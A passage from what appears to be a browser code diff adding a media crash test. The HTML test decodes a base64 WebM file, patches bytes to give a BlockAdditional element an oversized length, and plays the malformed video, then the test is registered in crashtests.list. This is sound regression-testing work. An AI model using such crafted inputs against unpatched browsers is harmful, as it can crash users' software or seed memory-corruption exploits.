6cAEYAAAMgAABYDuhHmr8/fWf3Ldlg+4ICCHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAEYAAAMgAABeh0dUESRwoAEAAAAAAABQoZ6BAlgAhgBBDpwARYAAAyAAAFgO6Eeavz99Z/ct2WD7ggIwdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwARYAAAyAAAF6HR1QRJHCgAQAAAAAAAFChnoECgACGAEEOnABFAAADIAAAWA7oR5q/P31n9y3ZYPuCAlh1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAEEOnABFAAADIAAAXodHVBEkcKABAAAAAAAAUKGegQKoAIYAQQ6cAESgAAMgAABYDuhHmr8/fWf3Ldlg+4ICgHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAESgAAMgAABeh0dUESRwoAEAAAAAAABQoZ6BAtAAhgBBDpwARCAAAyAAAFgO6Eeavz99Z/ct2WD7ggKodaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwARCAAAyAAAF6HR1QRJHCgAQAAAAAAAHuhyYEC+ACGAEEOnABD4AAIYQA3RoWkAABYDuH6UD1fBAV9wA1+Ix8LC4CHiXgxwXGzgRO3daPIW1Vf+o2oFd4b7Df5+F9fYAXs0AD7ggLQdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQ+AAAyAAAF6HR1QRJHCgAQAAAAAAAFKhoIEDIACGAIEOnABHwAAEImWAAGvRBQGKFJcRgIBJKPQA+4IC+HWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAgQ6cAEfAAAMgAABeh0dUESRwoAEAAAAAAAGooUFcgQNIAIQAgElOgCBgAA0AZAPA1TQ43rveKtSA4AYKenWn+N0rQt3SAABbwfL1wqOSfVlzfKHDtjU5BfrInXJPqy5vlDh2xjcgJPVjifMcLm+UOHbGQdmmedQ+TxMTejtY6rtfQ2DYJ7cLIFODWBVvLXoxlitwS5uXYWHnkrecYHLhHVtcHPf59rTANpMmpCGe5C66HfD9IDddrik2zqUwayjcpA45VtS9Q0EP/lH0daYBtJk1IQz3IXXQ74fpAbrtcUm2dSmDWV/+bm1wLr6RCdxU+gBF2cBs6hw6w85g9gId6CTfobGBFoQ3Qdrs0fPm+vetrsBDvUDADNoCboStZUHmO20qPBrS/Z8BJCj+a3vW9YkZHSVH3JV+wjX9xdEv/huxvxRt4hmsRZuMPKE/c8LdxKutnu0/5OByqgY3yziGAECWnABDgAADIAAAXU18A1xTKkaAyTwBFgDJ+4IDIHWhAQAAAAAAADumAQAAAAAAADLugQGlrYQAgElOgCBgAAGAIAAAXodHVBEkcIYAQJacAEOAAAMgAABeh0dUESRwwRUUwaABAAAAAAAASKGWgQNwAIYAQJacAEMgAAMgAABYDYudmPuCA0h1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABDIAADIAAAXodHVBEkcKABAAAAAAAASKGWgQOYAIYAQJacAELgAAMgAABYDYudmPuCA3B1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABC4AADIAAAXodHVBEkcKABAAAAAAAASKGWgQPAAIYAQJacAEKgAAMgAABYDYudmPuCA5h1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABCoAADIAAAXodHVBEkcKABAAAAAAAASKGWgQPoAIYAQJacAEJgAAMgAABYDYudmPuCA8B1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABCYAADIAAAXodHVBEkcKABAAAAAAAASKGWgQQQAIYAQJacAEIgAAMgAABYDYudmPuCA+h1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABCIAADIAAAXodHVBEkcKABAAAAAAAASKGWgQQ4AIYAQJacAEIAAAMgAABYDYudmPuCBBB1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABCAAADIAAAXodHVBEkcKABAAAAAAAAS6GZgQRgAIYAQJacAEHAAAMgAABYDr4gkcMbAPuCBDh1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABBwAADIAAAXodHVBEkcKABAAAAAAAAS6GZgQSIAIYAQJacAEGgAAMgAABYDr4gkcMbAPuCBGB1oQEAAAAAAAAipgEAAAAAAAAZ7oEBpZSGAECWnABBoAADIAAAXodHVBEkcKABAAAAAAAASaGXgQSwAIYBAJacAENAAAMgAABr0PImCRj7ggSIdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgEAlpwAQ0AAAyAAAF6HR1QRJHCgAQAAAAAAAMCh9oEE2ACEAECFToAgAAAGgEpdNiL53NxSRlfdIABdHD7MyPOrW3CWLtFU5+/N5iAz9ReeRkH0Mf+ybCbAoN76jfVSrgzaOCMqaHBDUEH1SNjWVNDJeSPY7ZUsNDqyhgBBDpwAQYAAAyAAAFgOo2svcBbAAMFYFsH7ggSwdaEBAAAAAAAAOqYBAAAAAAAAMe6BAaWshABAhU6AIAAAAQAAAF6HR1QRJHCGAEEOnABBgAADIAAAXodHVBEkcMEUFMGgAQAAAAAAAEihloEFAACGAEEOnABBQAADIAAAWA2LnZj7ggTYdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQUAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEFKACGAEEOnABBIAADIAAAWA2LnZj7ggUAdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQSAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEFUACGAEEOnABBAAADIAAAWA2LnZj7ggUodaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQQAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEFeACGAEEOnABA4AADIAAAWA2LnZj7ggVQdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQOAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEFoACGAEEOnABA4AADIAAAWA2LnZj7ggV4daEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQOAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEFyACGAEEOnABAwAADIAAAWA2LnZj7ggWgdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQMAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEF8ACGAEEOnABAoAADIAAAWA2LnZj7ggXIdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQKAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEGGACGAEEOnABAoAADIAAAWA2LnZj7ggXwdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQKAAAyAAAF6HR1QRJHCgAQAAAAAAAEmhl4EGQACGAIEOnABBQAADIAAAa9DyJgkY+4IGGHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAgQ6cAEFAAAMgAABeh0dUESRwoAEAAAAAAAB3oa2BBmgAhACASU6AIAAAAQAAAF0cVG34AIYAQJacAECAAAMgAABYDYudmMETEsH7ggZAdaEBAAAAAAAAOqYBAAAAAAAAMe6BAaWshACASU6AIAAAAQAAAF6HR1QRJHCGAECWnABAgAADIAAAXodHVBEkcMEUFMGgAQAAAAAAAEihloEGkACGAECWnABAYAADIAAAWA2LnZj7ggZodaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEGuACGAECWnABAYAADIAAAWA2LnZj7ggaQdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEG4ACGAECWnABAYAADIAAAWA2LnZj7gga4daEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEHCACGAECWnABAYAADIAAAWA2LnZj7ggbgdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEHMACGAECWnABAYAADIAAAWA2LnZj7ggcIdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEHWACGAECWnABAYAADIAAAWA2LnZj7ggcwdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEHgACGAECWnABAYAADIAAAWA2LnZj7ggdYdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEHqACGAECWnABAYAADIAAAWA2LnZj7ggeAdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEmhl4EH0ACGAQCWnABAwAADIAAAa9DyJgkY+4IHqHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYBAJacAEDAAAMgAABeh0dUESRwoAEAAAAAAAB3oa2BB/gAhABAhU6AIAAAAQAAAF0cVG34AIYAQQ6cAEBgAAMgAABYDYudmMETEsH7ggfQdaEBAAAAAAAAOqYBAAAAAAAAMe6BAaWshABAhU6AIAAAAQAAAF6HR1QRJHCGAEEOnABAYAADIAAAXodHVBEkcMEUFMGgAQAAAAAAAEihloEIIACGAEEOnABAYAADIAAAWA2LnZj7ggf4daEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEISACGAEEOnABAYAADIAAAWA2LnZj7ggggdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEIcACGAEEOnABAYAADIAAAWA2LnZj7gghIdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEImACGAEEOnABAYAADIAAAWA2LnZj7gghwdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEIwACGAEEOnABAYAADIAAAWA2LnZj7ggiYdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEI6ACGAEEOnABAYAADIAAAWA2LnZj7ggjAdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEJEACGAEEOnABAYAADIAAAWA2LnZj7ggjodaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEJOACGAEEOnABAYAADIAAAWA2LnZj7ggkQdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBBDpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEmhl4EJYACGAIEOnABAwAADIAAAa9DyJgkY+4IJOHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAgQ6cAEDAAAMgAABeh0dUESRwoAEAAAAAAAB3oa2BCYgAhACASU6AIAAAAQAAAF0cVG34AIYAQJacAEBgAAMgAABYDYudmMETEsH7gglgdaEBAAAAAAAAOqYBAAAAAAAAMe6BAaWshACASU6AIAAAAQAAAF6HR1QRJHCGAECWnABAYAADIAAAXodHVBEkcMEUFMGgAQAAAAAAAEihloEJsACGAECWnABAYAADIAAAWA2LnZj7ggmIdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEJ2ACGAECWnABAYAADIAAAWA2LnZj7ggmwdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKAACGAECWnABAYAADIAAAWA2LnZj7ggnYdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKKACGAECWnABAYAADIAAAWA2LnZj7ggoAdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKUACGAECWnABAYAADIAAAWA2LnZj7ggoodaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKeACGAECWnABAYAADIAAAWA2LnZj7ggpQdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKoACGAECWnABAYAADIAAAWA2LnZj7ggp4daEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEihloEKyACGAECWnABAYAADIAAAWA2LnZj7ggqgdaEBAAAAAAAAIqYBAAAAAAAAGe6BAaWUhgBAlpwAQGAAAyAAAF6HR1QRJHCgAQAAAAAAAEmhl4EK8ACGAQCWnABAwAADIAAAa9DyJgkY+4IKyHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYBAJacAEDAAAMgAABeh0dUESRwoAEAAAAAAABIoZaBCxgAhgBBDpwAQGAAAyAAAFgNi52Y+4IK8HWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAEBgAAMgAABeh0dUESRwoAEAAAAAAABIoZaBC0AAhgBBDpwAQGAAAyAAAFgNi52Y+4ILGHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAEBgAAMgAABeh0dUESRwoAEAAAAAAABIoZaBC2gAhgBBDpwAQGAAAyAAAFgNi52Y+4ILQHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAEBgAAMgAABeh0dUESRwoAEAAAAAAABIoZaBC5AAhgBBDpwAQGAAAyAAAFgNi52Y+4ILaHWhAQAAAAAAACKmAQAAAAAAABnugQGllIYAQQ6cAEBgAAMgAABeh0dUESRwHFO7awEAAAAAAAARu4+zgQC3iveBAfGCAXPwgQM=";
+    const FIRST_BLOCK_MORE = 0x272;
+    const EXPECTED_BYTES = [
+      0xa6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0xee, 0x81, 0x01,
+      0xa5, 0xb4
+    ];
+    const PATCH_BYTES = [
+      0xa6, 0x86, 0xa5, 0x08, 0x10, 0x00, 0x00, 0x00, 0xec, 0xb8
+    ];
+
+    const logNode = document.getElementById("log");
+    const player = document.getElementById("player");
+    const download = document.getElementById("download");
+
+    function log(message) {
+      logNode.textContent += `${message}\n`;
+    }
+
+    function decodeBase64(base64) {
+      const binary = atob(base64);
+      const bytes = new Uint8Array(binary.length);
+      for (let i = 0; i < binary.length; i++) {
+        bytes[i] = binary.charCodeAt(i);
+      }
+      return bytes;
+    }
+
+    function expectBytes(bytes, offset, expected) {
+      for (let i = 0; i < expected.length; i++) {
+        if (bytes[offset + i] !== expected[i]) {
+          const got = Array.from(bytes.slice(offset, offset + expected.length))
+            .map((value) => value.toString(16).padStart(2, "0"))
+            .join(" ");
+          throw new Error(`unexpected bytes at 0x${offset.toString(16)}: ${got}`);
+        }
+      }
+    }
+
+    function buildMalformedBlob() {
+      const bytes = decodeBase64(SAMPLE_BASE64);
+      log(`decoded sample: ${bytes.length} bytes`);
+      expectBytes(bytes, FIRST_BLOCK_MORE, EXPECTED_BYTES);
+
+      bytes.set(PATCH_BYTES, FIRST_BLOCK_MORE);
+      log("patched first BlockMore");
+      log("  offset: 0x272");
+      log("  bytes: a6 86 a5 08 10 00 00 00 ec b8");
+      log("  result: BlockMore(size=6), BlockAdditional(size=0x10000000)");
+
+      return new Blob([bytes], { type: "video/webm" });
+    }
+
+    async function run() {
+      logNode.textContent = "";
+      if (player.src) {
+        URL.revokeObjectURL(player.src);
+        player.removeAttribute("src");
+        player.load();
+      }
+
+      const blob = buildMalformedBlob();
+      const url = URL.createObjectURL(blob);
+      download.href = url;
+      player.src = url;
+      log(`blob size: ${blob.size} bytes`);
+      log("assigned malformed Blob URL to <video>");
+
+      const errorPromise = new Promise(r => player.onerror = r);
+      await player.play();
+      log("play() resolved");
+
+      await errorPromise;
+      log("got error");
+      document.documentElement.removeAttribute("class");
+    }
+
+    run();
+  </script>
+</body>
+</html>
diff --git a/dom/media/test/crashtests/crashtests.list b/dom/media/test/crashtests/crashtests.list
index aaa85240cae..94afb7604ab 100644
--- a/dom/media/test/crashtests/crashtests.list
+++ b/dom/media/test/crashtests/crashtests.list
@@ -209,6 +209,7 @@ skip-if(Android) load 2016497.html
 load 2017511.html
 HTTP load 2014878.html
 load 2014896.html
+load 2022746.html
 skip-if(!winWidget) pref(media.hevc.enabled,true) load 1859400.html
 load 1603271.html
 load 1536243.html
Loading diff…
On This Page